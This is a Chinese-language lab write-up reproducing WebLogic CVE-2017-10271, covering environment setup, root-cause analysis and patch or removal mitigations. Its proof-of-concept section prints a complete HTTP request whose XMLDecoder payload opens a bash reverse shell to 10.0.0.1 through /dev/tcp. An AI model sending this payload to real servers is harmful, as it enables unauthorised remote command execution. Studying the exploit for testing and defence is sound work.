WebLogic(CVE-2017-10271)漏洞复现
1.简介
1.1 漏洞形成原因
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
1.2 漏洞说明
1.2 漏洞说明
漏洞 | 详细信息 |
---|---|
受影响版本 | Weblogic 10.3.6.0, Weblogic 12.1.3.0, Weblogic 12.2.1.2, Weblogic 12.2.1.3 |
漏洞名称 | WebLogic XMLDecoder反序列化漏洞 |
漏洞编号 | CVE-2017-10271 |
危害等级 | 高危 |
CVSS评分 | 10 |
漏洞类型 | RCE |
1.3漏洞利用
利用服务器的XMLDecoder可以解析XML数据这一特性,可以构造XML语句,上传一句话木马,getshell。
2.漏洞复现
2.1 环境搭建
系统 | 脚本 | 工具 |
---|---|---|
kali(2023) | CVE-2017-10271 | docker |
环境:https://pan.baidu.com/s/17x0a5gIZK_2IgDQqWe_zHg提取码:xsc3
https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
访问/wls-wsat/CoordinatorPortType
2.2 漏洞验证
漏洞poc
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2.3 nc监听
2.4获取shell
3 漏洞分析
此次漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求。然后在
weblogic.wsee.jaxws.workcontext.WorkContextServerTube
类中获取XML数据传递给XMLDecoder来解析。
解析XML的调用链为
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
首先看到weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法
获取到localHeader1后传递给readHeaderOld方法,其内容为<work:WorkContext>
所包裹的数据,然后继续跟进weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法
在此方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,最后通过XMLDecoder来进行反序列化操作。
关于XMLDecoder的反序化问题13年就已经被人发现,近期再次被利用到Weblogic中由此可见JAVA生态圈中的安全问题是多么糟糕。值得一提的是此次漏洞出现了两处CVE编号,因为在Oracle官方在修复CVE-2017-3506所提供的patch只是简单的检查了XML中是否包含了节点,然后将换为即可绕过此补丁。因此在修复过程中用户一定要使用Oracle官方十月份所提供的patch。
4 漏洞防御
临时解决方案 根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/是否为404页面。
2.官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁。
参考资料: